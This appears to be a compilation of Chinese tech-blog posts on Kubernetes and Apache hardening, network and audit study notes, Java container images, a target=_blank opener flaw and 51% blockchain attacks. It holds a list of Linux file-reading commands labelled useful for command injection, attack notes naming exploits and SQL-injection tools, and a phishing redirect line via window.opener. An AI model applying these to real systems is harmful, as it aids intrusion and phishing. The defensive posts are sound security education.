Engine（GKE），你需要选择启用。（如果你的集群已经存在，在GKE中启用网络策略将需要进行简短的滚动升级。）一旦到位，请从一些基本默认网络策略开始，例如默认阻止来自其他命名空间的流量。如果你在Google容器引擎中运行，可以检查集群是否在启用了策略支持的情况下运行：7.运行集群范围的Pod安全策略Pod安全策略设置在集群中允许运行工作负载的默认值。考虑定义策略，并启用Pod安全策略许可控制器，指令因云供应商或部署模型而异。首先，你可以要求部署删除NET_RAW功能，以抵御某些类型的网络欺骗攻击。8.加固节点安全你可以按照以下三个步骤来改进节点上的安全状态：确保主机安全且配置正确。其一方法是根据CIS基准检查你的配置。许多产品都有自动检查器，可以自动评估这些标准的符合性。控制对敏感端口的网络访问。确保你的网络阻止访问kubelet使用的端口，包括10250和10255。考虑除了可信网络以外限制对Kubernetes API服务器的访问。恶意用户滥用对这些端口的访问权限，在未配置为需要在kubelet API服务器上进行身份验证和授权的集群中运行加密货币挖掘。限制对Kubernetes节点的管理访问。通常应限制对集群中节点的访问。调试和其他任务通常可以在不直接访问节点的情况下处理。9.启用审核日志记录确保你已启用审核日志，并监视它们是否存在异常或不需要的API调用，尤其是任何授权失败，这些日志条目将显示状态消息“禁止（Forbidden）”。授权失败可能意味着攻击者试图滥用被盗的凭据。托管Kubernetes供应商（包括GKE），在其云控制台中提供此数据，并允许你设置授权失败警报。下一步遵循这些建议以获得更安全的Kubernetes集群。请记住，即使你按照这些提示安全地配置Kubernetes集群，你仍然需要在容器配置的其他方面及其运行时操作中构建安全性。在提高技术堆栈的安全性时，寻找能够为容器部署提供中心治理点的工具，并为容器和云原生应用程序提供持续监控和保护。2019年KubeCon + CloudNativeCon中国论坛提案征集（CFP）现已开放KubeCon + CloudNativeCon 论坛让用户、开发人员、从业人员汇聚一堂，面对面进行交流合作。与会人员有 Kubernetes、Prometheus 及其他云原生计算基金会 (CNCF) 主办项目的领导，和我们一同探讨云原生生态系统发展方向。2019年中国开源峰会提案征集（CFP）现已开放在中国开源峰会上，与会者将共同合作及共享信息，了解最新和最有趣的开源技术，包括 Linux、容器、云技术、网络、微服务等；并获得如何在开源社区中导向和引领的信息。大会日期：提案征集截止日期：太平洋标准时间 2 月 15 日，星期五，晚上 11:59提案征集通知日期：2019 年 4 月 1 日会议日程通告日期：2019 年 4 月 3 日幻灯片提交截止日期：6 月 17 日，星期一会议活动举办日期：2019 年 6 月 24 至 26 日

安全基础——网络相关

第一代网络：PSTN电话网（传统）第二代网络：网络存储，分组转发第三代网络：互联网、移动互联网；OSI参考模型提出；关键技术WEB的出现；浏览器出现协议栈和协议包的区别：协议栈：在网络中分层协议包：只在一个层中，在网路中不分层IETF： ISO（国际标准化组织）下的一个工程任务组标准制定部门网络拓扑：星型，主网型，树型，总线型，环型，混合型以太网传播方式：广播、组播MTU：最大传输单元（链路层的有效载荷）交换机的工作原理：分割冲突域————网络不冲突（一个广播域也就是一个冲突域）MAC洪水攻击：目标是污染交换机的地址表分片攻击： TCP报文中的段偏移量错误，可能会使主机蓝屏或死机可变长子网掩码： 128 192 224 240 248 252 /125 /18 /27 /12 /29 /30ARP攻击：污染arp缓存列表（arp -a 可以显示arp列表）ICMP的应用： ping -t（一直ping） -a（显示对方主机名） -L（发送制定的ping包） tracert -d 制定不将地址解析为计算机名 -h 制定最大的跃点数 -w 等待每个回复的超时时间路由表查看：route printVLAN:可以分割广播域、提高安全性、带宽利用、延迟VLAN ID ：0-4095（区分不同的VLAN）路由网路模式： Hybrid：动态模式 Access：访问模式，计算机和交换机之间 Trunk：平线，交换机之间LO地址：远程管理地址

安全基础——网络相关2

安全====》风险性===》发现和解决认证、授权、审计————安全三件事机密性、完整性、可用性————安全三要素SNAT：源地址转换DNAT：目标地址转换： NATServer可用服务器发布PAT（华为NAPT）：端口级别的地址转换，称之为端口转换网络中各层的漏洞：应用层：缓冲区溢出、SQL注入、XSS…… 传播层：TCP欺骗、TCP拒绝服务、UDP攻击、地址扫描…… 网络层：IP欺骗、Smurf攻击、ICMP攻击、地址扫描…… 链路层：MAC欺骗、MAC泛洪、ARP欺骗物理层：设备破坏，线路侦听畸形报文：死Ping：可用于早期Unix 分片IP：Windows 95/2000等早期系统VPN的分类：链路层：LITP 网络层：IPSec——Esp可单独用应用层：SSL VPNSMS算法：国产加密算法，理论上比SHA256的加密效果还好 SML————独称算法隧道模式：自动加上新的IP头传输模式：不加新的IP头，主机到主机文件共享协议：CIFS/SMB——通用互联网网络文件系统服务消息块协议软路由防火墙：IPcop、海蜘蛛、RouterOS

审计的笔记

等保——监管由谁来管：公安（内容，重要信息）网信办法律安全的目的：风险审计控制审计的作用：增加价值和改善组织的运营目标和目的的区别：目标是一种量化的指标目的是最终结果企业风险的分类：战略，合规，运营，财务风险常用术语：目标、脆弱性、威胁、可能性、影响程度、固有风险、现有控制措施等……我国企业IT风险发展阶段： 1.ISMS初步建立阶段 ISMI体系安全评估，加固 2.精细化SOC平台、ITRM平台、ISMS/ITSM/BCM体系 IT风险管理阶段 3.IT风险与业务融合阶段业务风险管理平台，SOC平台，ITRM平台，ISMS/ITSM/BCM体系管理级别：粗放管理级规范管理级优化管理级融合管理级审计的驱动力： 1.合规 2.效率、效果——经营 3.安全 4.管理者 5.利用审计要挟数据是什么：信息系统中的信息信息安全的目标：基本目标：保密性、完整性、可用性（这是信息的三要素）扩展目标：真实性、可追溯性、防抵赖性…… 企业保密信息：与业务相关、与国家要求相关风险处置策略：降低、规避、转嫁、接受风险风险由可能性和后果构成，两个维度的阴影面积可以算作是危险程度用户访问的控制原则：知所必须。最小授权

云计算的一些概念性的东西……

SAAS 软件即服务——如邮箱系统，直接用，不用自己建立 PAAS 平台即服务——如操作系统，可以自己安装软件 IAAS 基础设施即服务——如电脑硬件，可以自己安装操作系统云计算部署平台： 1.私有云 2.社区云 3.公有云 4.混合云云计算的特点（要求满足这些特点才可以称之为云计算）： 1.网络接入 2.按需服务 3.资源共享 4.快速弹性扩展 5.服务可度量云计算的四大计算： 1.虚拟化技术：硬件虚拟机，软件虚拟化，应用虚拟化 2.并行运算技术：映射，归约（Reduce） 3.海量数据管理技术：列旗存贮，主服务器，子表服务器 4.海量数据存贮技术：元数据节点，数据节点云计算对客户的价值：整体高效，资源共效按需分配，均衡统筹互联互通数据统一云安全的角度：所有者监管部门使用者管理者

Linux下显示文件内容的命令——命令注入有用

catmorelesssorttactailheadnlodxxdsednanocat

网络攻击——手段、方法、个人学习笔记

pt > dt + rt = 安全解释:入侵时间 > 检查时间 + 响应时间 == 信息安全对抗网络威胁的手段：漏洞：应急响应日志分析：经验日志分析平台：sqlunk，biglog（国内）常用的攻击方法：溢出邮件攻击邮件钓鱼伪装收件人 XSS跨站手机攻击手机攻击：1.充电器 2.伪基站 3.USIM复制（无服务–>解绑） 4.GSM劫持，短信嗅探 5.APP（逻辑漏洞，业务交易劫持） 6.拒绝服务（呼死你） 7.手机远程控制（APT级别的远控）远程溢出：ms12-020(3389) mysql –>用户名 7256 –> root 本地溢出：提权溢出的导致系统异常终止，服务终止溢出的防御：输入参数过滤安全编码：sdl 内存保护机制： safeseh GS编译，dep数据混淆代码执行，aslr随机加载汇编：挖洞，病毒木马，破解，逆向，重塑，设备后门，隐蔽通道调试工具：oldbg，idaplus，windbg（可以用户ring0内核） SQL注入：工具：domain，ad，nbsi2，hdsi，sqlguess

最小化 Java 镜像的常用技巧

背景随着容器技术的普及，越来越多的应用被容器化。人们使用容器的频率越来越高，但常常忽略一个基本但又非常重要的问题 - 容器镜像的体积。本文将介绍精简容器镜像的必要性并以基于 spring boot 的 java 应用为例描述最小化容器镜像的常用技巧。精简容器镜像的必要性精简容器镜像是非常必要的，下面分别从安全性和敏捷性两个角度进行阐释。安全性基于安全方面的考虑，将不必要的组件从镜像中移除可以减少攻击面、降低安全风险。虽然 docker 支持用户通过 Seccomp 限制容器内可以执行操作或者使用 AppArmor 为容器配置安全策略，但它们的使用门槛较高，要求用户具备安全领域的专业素养。敏捷性精简的容器镜像能提高容器的部署速度。假设某一时刻访问流量激增，您需要通过增加容器副本数以应对突发压力。如果某些宿主机不包含目标镜像，需要先拉取镜像，然后启动容器，这时使用体积较小的镜像能加速这一过程、缩短扩容时间。另外，镜像体积越小，其构建速度也越快，同时还能减少存储和传输的成本。常用技巧将一个 java 应用容器化所需的步骤可归纳如下：编译 java 源码并生成 jar 包。将应用 jar 包和依赖的第三方 jar 包移动到合适的位置。本章所用的样例是一个基于 spring boot 的 java 应用 spring-boot-docker，所用的未经优化的 dockerfile 如下：FROM maven:3.5-jdk-8COPY src /usr/src/app/srcCOPY pom.xml /usr/src/appRUN mvn -f /usr/src/app/pom.xml clean packageENTRYPOINT [“java”,"-jar","/usr/src/app/target/spring-boot-docker-1.0.0.jar"]由于应用使用 maven 构建，dockerfile 中指定maven:3.5-jdk-8作为基础镜像，该镜像的大小为 635MB。通过这种方式最终构建出的镜像非常大，达到了 719MB，这是因为一方面基础镜像本身就很大，另一方面 maven 在构建过程中会下载许多用于执行构建任务的 jar 包。多阶段构建Java 程序的运行只依赖 JRE，并不需要 maven 或者 JDK 中众多用于编译、调试、运行的工具，因此一个明显的优化方法是将用于编译构建 java 源码的镜像和用于运行 java 应用的镜像分开。为了达到这一目的，在 docker 17.05 版本之前需要用户维护 2 个 dockerfile 文件，这无疑增加了构建的复杂性。好在自 17.05 开始，docker 引入了多阶段构建的概念，它允许用户在一个 dockerfile 中使用多个 From 语句。每个 From 语句可以指定不同的基础镜像并将开启一个全新的构建流程。您可以选择性地将前一阶段的构建产物复制到另一个阶段，从而只将必要的内容保留在最终的镜像里。优化后的 dockerfile 如下：FROM maven:3.5-jdk-8 AS buildCOPY src /usr/src/app/srcCOPY pom.xml /usr/src/appRUN mvn -f /usr/src/app/pom.xml clean packageFROM openjdk:8-jreARG DEPENDENCY=/usr/src/app/target/dependencyCOPY –from=build ${DEPENDENCY}/BOOT-INF/lib /app/libCOPY –from=build ${DEPENDENCY}/META-INF /app/META-INFCOPY –from=build ${DEPENDENCY}/BOOT-INF/classes /appENTRYPOINT [“java”,"-cp",“app:app/lib/”,“hello.Application”]该 dockerfile 选用maven:3.5-jdk-8作为第一阶段的构建镜像，选用openjdk:8-jre作为运行 java 应用的基础镜像并且只拷贝了第一阶段编译好的.claass文件和依赖的第三方 jar 包到最终的镜像里。通过这种方式优化后的镜像大小为 459MB。使用 distroless 作为基础镜像虽然通过多阶段构建能减小最终生成的镜像的大小，但 459MB 的体积仍相对过大。经调查发现，这是因为使用的基础镜像openjdk:8-jre体积过大，到达了 443MB，因此下一步的优化方向是减小基础镜像的体积。Google 开源的项目 distroless 正是为了解决基础镜像体积过大这一问题。Distroless 镜像只包含应用程序及其运行时依赖项，不包含包管理器、shell 以及在标准 Linux 发行版中可以找到的任何其他程序。目前，distroless 为依赖 java、python、nodejs、dotnet 等环境的应用提供了基础镜像。使用 distroless 的 dockerfile 如下：FROM maven:3.5-jdk-8 AS buildCOPY src /usr/src/app/srcCOPY pom.xml /usr/src/appRUN mvn -f /usr/src/app/pom.xml clean packageFROM gcr.io/distroless/javaARG DEPENDENCY=/usr/src/app/target/dependencyCOPY –from=build ${DEPENDENCY}/BOOT-INF/lib /app/libCOPY –from=build ${DEPENDENCY}/META-INF /app/META-INFCOPY –from=build ${DEPENDENCY}/BOOT-INF/classes /appENTRYPOINT [“java”,"-cp",“app:app/lib/”,“hello.Application”]该 dockerfile 和上一版的唯一区别在于将运行阶段依赖的基础镜像由openjdk:8-jre（443 MB）替换成了gcr.io/distroless/java（119 MB）。经过这一优化，最终镜像的大小为 135MB。使用 distroless 的唯一不便是您无法 attach 到一个正在运行的容器上排查问题，因为镜像中不包含 shell。虽然 distroless 的 debug 镜像提供 busybox shell，但需要用户重新打包镜像、部署容器，对于那些已经基于非 debug 镜像部署的容器无济于事。但从安全角度来看，无法 attach 容器并不完全是坏事，因为攻击者无法通过 shell 进行攻击。使用 alpine 作为基础镜像如果您确实有 attach 容器的需求，又希望最小化镜像的大小，可以选用 alpine 作为基础镜像。Alpine 镜像的特点是体积非常下，基础款镜像的体积仅 4 MB 左右。使用 alpine 后的 dockerfile 如下：FROM maven:3.5-jdk-8 AS buildCOPY src /usr/src/app/srcCOPY pom.xml /usr/src/appRUN mvn -f /usr/src/app/pom.xml clean packageFROM openjdk:8-jre-alpineARG DEPENDENCY=/usr/src/app/target/dependencyCOPY –from=build ${DEPENDENCY}/BOOT-INF/lib /app/libCOPY –from=build ${DEPENDENCY}/META-INF /app/META-INFCOPY –from=build ${DEPENDENCY}/BOOT-INF/classes /appENTRYPOINT [“java”,"-cp",“app:app/lib/*”,“hello.Application”]这里并未直接继承基础款 alpine，而是选用从 alpine 构建出的包含 java 运行时的openjdk:8-jre-alpine（83MB）作为基础镜像。使用该 dockerfile 构建出的镜像体积为 99.2MB，比基于 distroless 的还要小。执行命令docker exec -ti <container_id> sh可以成功 attach 到运行的容器中。distroless vs alpine既然 distroless 和 alpine 都能提供非常小的基础镜像，那么在生产环境中到底应该选择哪一种呢？如果安全性是您的首要考虑因素，建议选用 distroless，因为它唯一可运行的二进制文件就是您打包的应用；如果您更关注镜像的体积，可以选用 alpine。其他技巧除了可以通过上述技巧精简镜像外，还有以下方式：将 dockerfile 中的多条指令合并成一条，通过减少镜像层数的方式达到精简镜像体积的目的。将稳定且体积较大的内容置于镜像下层，将变动频繁且体积较小的内容置于镜像上层。虽然该方式无法直接精简镜像体积，但充分利用了镜像的缓存机制，同样可以达到加快镜像构建和容器部署的目的。想了解更多优化 dockerfile 的小窍门可参考教程 Best practices for writing Dockerfiles。总结本文通过一系列的优化，将 java 应用的镜像体积由最初的 719MB 缩小到 100MB 左右。如果您的应用依赖其他环境，也可以用类似的原则进行优化。针对 java 镜像，google 提供的另一款工具 jib 能为您屏蔽镜像构建过程中的复杂细节，自动构建出精简的 java 镜像。使用它您无须编写 dockerfile，甚至不需要安装 docker。对于类似 distroless 这样无法 attach 或者不方便 attach 的容器，建议您将它们的日志中心化存储，以便问题的追踪和排查。具体方法可参考文章面向容器日志的技术实践。本文作者：吴波bruce_wu阅读原文本文为云栖社区原创内容，未经允许不得转载。 ...

使用<a>标签时，你可能会忽略的一个安全问题

本文首发于公众号: 符合预期的CoyPan本文章翻译于：https://medium.com/front-end-weekly/prevent-sending-http-referer-headers-from-your-website-e30eecfe813a原标题为：Prevent Sending HTTP Referer Headers from Your Website在一个新窗口中打开链接是前端开发中一个很常见的逻辑，它可以将用户引导到一个新的域名。我们可以用target=’_blank’来实现这个功能。我敢肯定，每个人都会在他的某个项目中使用过target=’_blank，但是我不确定是否每个人都知道这种用法的缺陷。当一个外部链接使用了target=_blank的方式，这个外部链接会打开一个新的浏览器tab。此时，新页面会打开，并且和原始页面占用同一个进程。这也意味着，如果这个新页面有任何性能上的问题，比如有一个很高的加载时间，这也将会影响到原始页面的表现。如果你打开的是一个同域的页面，那么你将可以在新页面访问到原始页面的所有内容，包括document对象(window.opener.document)。如果你打开的是一个跨域的页面，你虽然无法访问到document，但是你依然可以访问到location对象。这意味着，如果你在你的站点或者文章中，嵌入了通过新窗口打开一个新页面的链接，这个新页面可以使用window.opener，在一定程度上来修改原始页面。可以参考这个例子：https://s.codepen.io/adamlaki/debug/dd4475e9a73052ad37d3e5f19f4bcb92(笔者这里做了一个小gif，方便大家看上面那个例子的效果)我们来看看上面例子发生了什么？当你点击了链接(在打开的document中)，浏览器会打开这个页面。而这个页面中运行了一段JavaScript代码：通过window.opener来修改原始页面(你来自的那个页面)。有点乏味但是这可能是有害的。那么问题来了：我们如何阻止这种情况的发生呢？在所有使用target=_blank打开新页面的链接上，加上ref=“noopener”。<a href=“https://niteshsoni.info” target="_blank" rel=“noopener”></a>使用了ref=noopener以后，当一个新页面通过一个链接打开后，新页面中的恶意JavaScript代码将无法通过window.opener 来访问到原始页面。这将保证新页面运行在一个单独的进程里。在老浏览器中，你可以使用ref=noreferrer属性，具有同样的效果。但是，这样也会阻止Refererheader被发送到新页面。<a href=“https://niteshsoni.info” target="_blank" rel=“noopener noreferrer”></a>在上面的例子中，使用了rel=“noreferrer” ，当一个用户点击了这个超链接进入到新页面后，新页面拿不到referrer信息。这将意味着，新页面不知道用户是从哪里来的。如果你通过JavaScript中的window.open打开一个页面的话，上文所说的都适用，因为你也是打开了一个新的窗口。在这种情况下，你不得不清楚掉opener对象：var newWindow = window.open();newWindow.opener = null;在我看来，使用第一种解决方案(在每一个target="_blank"的链接中加上ref=“noopener”)是没有什么明显的坏处的。这个问题表明，在你的网页安全性中找到漏洞是多么的容易。笔者的总结这是一篇很短的文章，主要介绍了在使用<a target="_blank">标签打开一个新窗口过程中的安全问题。新页面中可以使用window.opener来控制原始页面。如果新老页面同域，那么在新页面中可以任意操作原始页面。如果是不同域，新页面中依然可以通过window.opener.location，访问到原始页面的location对象。试想一下，你在自己的a页面中，通过<a target="_blank" href=“http://b.com”>打开新窗口，跳转到了b页面，此刻b页面中有一段代码window.opener.location = ‘http://c.com’。这是，a页面就会自动跳转到c页面。如果这个c页面是一个和a页面长得一样的钓鱼网站，那么用户可能就中招了。解决方法就是：在带有target="_blank"的<a>标签中，加上rel=“noopener"属性。如果使用window.open的方式打开页面，将opener对象置为空。这样的副作用是：在某些低版本浏览器中，新页面中拿不到referer信息。写在后面本文介绍了一种前端开发中容易引发安全问题的情况，问题不大，但是比较容易被忽略。笔者自己也是第一次接触到这个问题 - -。符合预期。欢迎关注我的公众号: 符合预期的CoyPan这里只有干货，符合你的预期

网站常见安全问题记录（持续更新）

说明初衷：本文档用于记录所遇到的网站安全问题，并分类汇总，方便后期遇到类似问题，能够快速找到解决方案，提高效率，让程序员有更多的时间去把妹，LOL…记录规范：标题必须清晰明了，方便用户快速查找，拒绝标题党；问题放到正确的分类中；记录问题的时候先阐述问题，再列出解决方法，尽量做到有图有真相；如果有对应的资料，可以附上链接；记录问题提交人，方便追踪ApacheCookie缺少HttpOnly、Secure标识漏洞提示描述httponly是微软对cookie做的扩展，这个主要是解决用户的cookie可能被盗用的问题。大家都知道，当我们去邮箱或者论坛登陆后，服务器会写一些cookie到我们的浏览器，当下次再访问其他页面时，由于浏览器回自动传递cookie，这样就实现了一次登陆就可以看到所有需要登陆后才能看到的内容。也就是说，实质上，所有的登陆状态这些都是建立在cookie上的！假设我们登陆后的cookie被人获得，那就会有暴露个人信息的危险！当然，想想，其他人怎么可以获得客户的cookie？那必然是有不怀好意的人的程序在浏览器里运行！如果是现在满天飞的流氓软件，那没有办法，httponly也不是用来解决这种情况的，它是用来解决浏览器里javascript访问cookie的问题。试想，一个flash程序在你的浏览器里运行，就可以获得你的cookie的！修复方案一、修改php配置文件php.ini注意：YNCMS勿改此项，其程序内部提供支持，按照第二种方案修改即可session.cookie_secure = 1session.cookie_httponly = 1二、修改网站cookie配置文件，以YNCMS为例，修改/Application/Home/Conf/config.php，添加配置参数’COOKIE_SECURE’ => true, // cookie 启用安全传输’COOKIE_HTTPONLY’ => true, // httponly设置参考资料： http://www.jb51.net/article/1...cgi-bin目录问题暴力解决办法：注释掉对应信息apache icons目录问题我们如果使用了apache服务器，当我访问http://xxx.xxx.xxx/icons/时会自动显示这个目录下的所以文件列表，这行造成网站目录信息的泄露对我们的网站安全造成威胁，在关闭apache自动目录列表功能的三种方法这篇文章中的三种方法都不能禁止自动目录列表，你如果使用网站安全监测，会提醒你发现目录启用了自动目录列表功能，所以我们必须禁止它，经过测试，按如下步骤可以禁止：打开目录apache/conf/extra/下的文件httpd-autoindex.conf（位置可能有差异）找到Alias /icons/ “/xampp/apache/icons/” <Directory “/xampp/apache/icons”> Options Indexes MultiViews AllowOverride None Require all granted</Directory>去掉Indexes改成<Directory “/xampp/apache/icons”> Options MultiViews AllowOverride None Require all granted</Directory>重启apache服务器！暴力解决办法就是注释掉或者直接删除icons目录启用了OPTIONS方法在网站根目录目录下创建.htaccess文件，内容如下，如果您已有其他规则，请添加到第一条规则RewriteEngine OnRewriteCond %{REQUEST_METHOD} ^(OPTIONS)RewriteRule .* - [F]使用Apache的重写规则来禁用Options方法和Trace方法在Apache配置文件httpd-conf中【vhosts-conf】添加以下代码：单独禁用Trace方法：RewriteEngine OnRewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK）RewriteRule .* - [F]单独禁用Options方法：RewriteEngine OnRewriteCond %{REQUEST_METHOD} ^(OPTIONS)RewriteRule .* - [F]同时禁用Trace方法和Options方法RewriteEngine OnRewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)RewriteRule .* - [F]<VirtualHost :80> DocumentRoot “D:\wwwroot” ServerName www.abc.com ServerAlias abc.com <Directory “D:\wwwroot”> Options FollowSymLinks ExecCGI AllowOverride All Order allow,deny Allow from all Require all granted RewriteEngine on RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS) RewriteRule . - [F] </Directory></VirtualHost>启用了TRACE Method同启用了OPTIONS方法处理方法相同RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS)或者在httpd.conf中添加配置：TraceEnable offX-Frame-Options头未设置在httpd.conf里面增加Header always append X-Frame-Options SAMEORIGIN关闭目录浏览权限描述<Directory “/var/www/html”> Options Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all </Directory>options中Indexes表示当网页不存在的时候允许索引显示目录中的文件解决将要设置的目录对应配置参数下的Indexes删除或者改为-Indexes（低版本可能会报错）<Directory “/var/www/html”> Options FollowSymLinks AllowOverride None Order allow,deny Allow from all </Directory>或者<Directory “/var/www/html”> Options -Indexes FollowSymLinks AllowOverride None Order allow,deny Allow from all </Directory>缺少"x-content-type-options"头在httpd.conf里面增加Header always set X-Content-Type-Options nosniff其他允许Flash文件与任何域HTML页面通信描述解决方法将参数AllowScriptAccess设置为never&#65279导致页面空行描述：页面的编码如果是UTF-8 + BOM，会在body开头处加入一个可见的控制符，导致页面头部会出现一个空白。这种编码方式一般会在windows操作系统中出现，比如记事本编辑器，在保存一个以UTF-8编码的文件时，会在文件开始的地方插入三个不可见的字符（0xEF 0xBB 0xBF，即BOM）。它是一串隐藏的字符，用于让记事本等编辑器识别这个文件是否以UTF-8编码。对于一般的文件，这样并不会产生什么麻烦。但对于html来说，BOM是个大麻烦。因为浏览器在解析html页面时，并不会忽略BOM，所以在解析html文件时，会把BOM作为该文件开头正文的一部分，这串字符也将会被直接执行（在页面中并不显示）出来。由此造成即使页面的 top或者padding 设置为0，也无法让整个网页紧贴浏览器顶部，因为在html一开头有这3个隐藏字符！解决办法：保存文件为utf-8建议不要用记事本打开开发文件 ...

蚂蚁风险大脑亮相ATEC城市峰会：为数字经济时代做好“安全守护”

2019年1月4日，以“数字金融新原力（The New Force of Digital Finance)”为主题的蚂蚁金服ATEC城市峰会在上海隆重举行。大会聚焦金融数字化转型，分享新技术的发展趋势与落地实践，议题覆盖金融智能、金融安全、金融分布式架构及数据库、财富管理创新等多个板块，助力长三角地区金融科技发展，引领数字化转型潮流。“蚂蚁金服十余年风控路，因为守护所以安心”。会上，蚂蚁金服大安全副总经理王黎强分享了蚂蚁金服的风控演进历程，并介绍了立体化风控体系建设。而其分享中最引人关注的当属“蚂蚁风险大脑”，它过去为蚂蚁金服业务“保驾护航”，现已为众多金融监管部门、金融机构以及企业提供安全技术能力，做好安全的“守护人”。据悉，蚂蚁风险大脑的监管科技系统，利用了人工智能、大数据、云计算和区块链等领先科技手段，能够协助各地监管部门对类金融机构进行多维度的风险排查，实现涉众风险、经营风险、合规风险等全领域动态扫描，通过知识图谱挖掘，让监管部门拥有“透视眼”，发现关联机构间的潜在风险，从根源处识别出疑似金融欺诈团伙，并且还可以帮助监管构建地区及行业整体风险指数，快速识别地区及行业的风险“水位”，掌握宏观金融风险趋势变化，现已与北京、天津、河北、温州、广州、重庆、西安等全国10地金融监管部门建立合作。在这个数字时代，几乎所有领域都在发生“数字蝶变”，几乎所有领域都在呼唤风险防范和安全建设，特别是金融领域，今年年初至8月中旬全国各地500余家P2P平台现“爆雷潮”，造成无数投资人损失惨重，这也对相关政府监管部门提出了更高监管和保障市场参与主体安全的要求。对此，为进一步推动防控金融风险与群防群治有效结合，切实提升社会金融安全意识，调动群众发现举报涉嫌非法金融活动线索的积极性，在助力金融监管部门进行风险排查的同时，蚂蚁金服利用“风险大脑”的技术力量做支持，与多地共建金融知识宣教和线索举报平台，推进普惠金融进程。例如，蚂蚁金服和北京地方金融监督管理局合作的“金管卫士”小程序，用户可以打开支付宝首页，搜索“金管卫士”进入小程序，通过观看学习相关视频、漫画和图文，了解非法集资、传销和金融诈骗等非法金融活动惯用套路，提升社会公众的金融风险防范意识。同时，针对可疑平台，用户可以在线进行线索举报，并根据自身意愿选择“实名举报”还是“默默举报”，还可查询相关举报反馈结果，发动民众的力量来举报违法违纪的金融乱象，共同参与监督，净化市场环境，从而更好地维护自己的合法权益。“改变世界的不是技术，而是技术背后的梦想和责任”。蚂蚁金服所倡导的理念“科技是暖的，世界是平的，暖科技正让世界变得更加平等”，这也是他们所努力付诸的行动，不断利用自己的优势为社会做贡献，认真践行社会责任感，共创一个更加平等可信的金融环境。

黑客如何进行区块链51％攻击（双重攻击或双重花费）

51％攻击或双重攻击是区块链中的矿工或矿工群体试图在该区块链上花费两次数字加密货币。他们试图“双重花费”，因此得名。这样做的目的并不总是加倍花费数字加密货币，但更常见的是通过影响其完整性来对某个加密数字货币或区块链进行攻击。这是一个简单的例子：假设我在豪华车上花了10比特币。几天后汽车交付，我的比特币从我的账户转账到汽车公司。通过对比特币区块链进行51％的攻击，我现在可以尝试撤销这种比特币转账。如果我成功了，我将拥有豪华车和比特币，我还可以再次使用这些比特币。从自治的民主区块链的角度来看，51％攻击的概念似乎是显而易见的，但对其运作方式存在一种常见的误解。这篇简短的文章将尝试对51％的攻击如何更详细地进行清晰的解释。如果你不知道矿工们如何向区块链添加交易，我建议你先阅读矿工如何通过七个步骤向区块链添加交易，因为只需要五分钟的就可以了。如果你不知道区块链是如何工作的，我建议你从这里开始。区块链=治理在详细了解51％的攻击之前，重要的是要了解区块链协议基本上是一种治理形式。区块链管理数据的分类帐，例如交易数据。由于区块链协议可以为我们管理，我们不再需要第三方来执行此操作，例如政府或银行。这就是（大多数）区块链去中心化的原因。比特币区块链的协议基于民主自治制度，这意味着网络上的大多数参与者（矿工）将决定哪种版本的区块链代表真相。51％的攻击如何发挥作用当比特币所有者在交易中签字时，它会被放入未经证实的交易的本地池中。矿工从这些池中选择交易以形成交易块。为了将这个交易块添加到区块链中，他们需要找到解决非常困难的数学问题的方法。他们试图使用计算能力找到这个解决方案。这称为哈希（在此处阅读有关哈希算法的更多信息）。矿工的计算能力越强，在其他矿工找到解决方案之前找到解决方案的机会就越大。当矿工找到解决方案时，它将与其他矿工一起广播（连同他们的区块），并且只有当区块内的所有交易根据区块链上的现有交易记录有效时，他们才会验证它。请注意，即使是恶意的矿工也永远不会为其他人创建交易，因为他们需要该人的数字签名才能这样做（他们的私钥）。因此，如果不访问相应的私钥，就无法从其他人的帐户发送比特币。偷挖采矿——创造区块链的后代现在要注意了。然而，恶意矿工可以尝试逆转现有交易。当一个矿工找到一个解决方案，它应该被广播给所有其他矿工，以便他们可以在块被添加到区块链之后进行验证（矿工达成共识）。然而，恶意矿工可以通过不将其块的解决方案广播到网络的其余部分来创建区块链的后代。现在有两个版本区块链。现在有两种版本的区块链。红色区块链可以被认为是“偷挖”模式。一个版本正在被无瑕疵的矿工跟随，一个被恶意的矿工跟随。恶意矿工现在正在研究他自己的区块链版本，而不是将其广播到网络的其他部分。网络的其余部分没有接受这个链，因为毕竟它还没有被广播。它与网络的其他部分隔离。恶意矿工现在可以把他所有的比特币花在区块链的真实版本上，这是所有其他矿工正在研究的版本。比方说，他把它花在兰博基尼身上。在真实的区块链上，他的比特币现在已经用完了。同时，他没有将这些交易包含在他的隔离版区块链中。在他的孤立版区块链上，他仍然拥有那些比特币。与此同时，他仍在挑选区块，他在隔离版的区块链上自行验证了所有这些。这就是所有麻烦开始的地方……区块链被编程为遵循民主治理模式，即大多数。区块链通过始终跟随最长的（实际上最重的，但不要让事情太复杂化）链来实现这一点，毕竟，大多数矿工比其他网络更快地将块添加到他们的区块链版本中（所以最长链=多数）。这就是区块链确定其链条的哪个版本是真实的，以及钱包的所有余额所依据的。一场比赛现在开始了。拥有最多哈希能力的人将更快地为他们的链接版本添加块。竞赛——通过广播新链来扭转现有交易恶意矿工现在会尝试将块添加到他的隔离区块链中，比其他矿工更快地将块添加到他们的区块链（真实的）。一旦恶意矿工创建了更长的区块链，他就会突然将此版本的区块链广播到网络的其他部分。网络的其余部分现在将检测到区块链的这个（恶意）版本实际上比他们正在处理的版本更长，并且根据协议强制它们切换到这个链。恶意区块链现在被视为真实的区块链，并且此链中未包含的所有交易将立即被撤销。攻击者之前已经将他的比特币用在了兰博基尼上，但这笔交易并没有包含在他的隐形链中，这条链现在已经被掌控，所以他现在又一次控制着那些比特币。他能够再次花费它们。这就是一次双重攻击。它通常被称为51％攻击，因为恶意矿工将需要比网络其余部分组合更多的哈希能力（因此具有51％的哈希能力），以便更快地将块添加到他的版块的区块链中，最终允许他要建立一个更长的链条。那么比特币如何防范这种情况呢？实际上，这些攻击非常难以执行。如前所述，矿工将需要比网络其他部分更多的哈希能力来实现这一目标。考虑到比特币区块链上甚至可能有成千上万的矿工，恶意矿工将不得不花费大量资金在采矿硬件上与网络的其他部分竞争。即使是地球上最强大的计算机也无法与该网络上的总计算能力直接竞争。还有无数其他反对进行51％攻击的论点。例如，被捕和被起诉的风险，以及电费，租用所有采矿硬件的空间和存储，覆盖你的轨道和洗钱。像这样的操作只是为了给攻击者的回报需要付出太多努力，至少在比特币区块链的情况是这样的。其他区块链是否容易受到攻击？另一个有趣的故事是，无论执行此类